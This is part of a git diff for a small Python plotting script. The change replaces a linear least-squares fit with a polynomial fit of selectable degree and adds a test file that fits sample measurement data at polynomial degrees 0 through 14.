# Do calculate - # y = k x + b (I = k V + b) + # y = [k0 k1 k2 ...] dot [x^0 x^1 x^2 ...] print('Your input: ', arrX, '|', arrY) print('Data collection done. Generating result...') - V, I = numpy.array(arrX), numpy.array(arrY) - def lineFunc(kb, v): - k,b=kb + X, Y = numpy.array(arrX), numpy.array(arrY) + + def lineFunc(k, x): + vctX = [x ** power for power in range(maxXPower + 1)] if passO: - return k*v - else: - return k*v+b + vctX[0] = 0 + return dotMultiply(k, vctX) - lossFunc = lambda kb, v, i : lineFunc(kb, v) - i + def lossFunc(k, x, y): return lineFunc(k, x) - y # Fire! if line: - kb0 = [10,0] - kbFinal = leastsq(lossFunc, kb0, args=(V, I)) - k,b=kbFinal[0] - print('Fit line done. Y=', k, 'X +', b) + kInit = [1 for _ in range(maxXPower + 1)] + kInit[0] = 0 # guarantee passO. + kFinal, _ = leastsq(lossFunc, kInit, args=(X, Y)) + print('Fit line done. k=', kFinal) else: print('Drawing map without fitting a line...') # Draw function map. - rcParams['grid.linestyle']='-' + rcParams['grid.linestyle'] = '-' rcParams['grid.color'] = 'blue' rcParams['grid.linewidth'] = 0.2 - plt.figure(figsize=(windowX, windowY)) - plt.scatter(V,I,color="red",label="Sample Point",linewidth=3) + plt.figure(figsize=(windowSizeX, windowSizeY)) + plt.scatter(X, Y, color="red", label="Sample Point", linewidth=3) if line: - px=numpy.linspace(0,maxX,1000) - py=k*px+b - plt.plot(px,py,color="orange",label="Fitting Line",linewidth=2) + px = numpy.linspace(0, maxX, 1000) + py = dotMultiply(kFinal, [px ** power for power in range(maxXPower + 1)]) + plt.plot(px, py, color="orange", label="Fitting Line", linewidth=2) plt.legend() plt.grid() plt.show() @@ -54,4 +62,4 @@ def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False) if sstr == '': return 0.0 else: - return float(sstr) \ No newline at end of file + return float(sstr) diff --git a/test.py b/test.py new file mode 100644 index 0000000..86b6559 --- /dev/null +++ b/test.py @@ -0,0 +1,8 @@ +import quickmap + +yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64] +xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0] + +for i in range(15): + quickmap.GetMap(xrc, yrc, line=True, maxXPower=i, extendXRate=1) + -- GitLab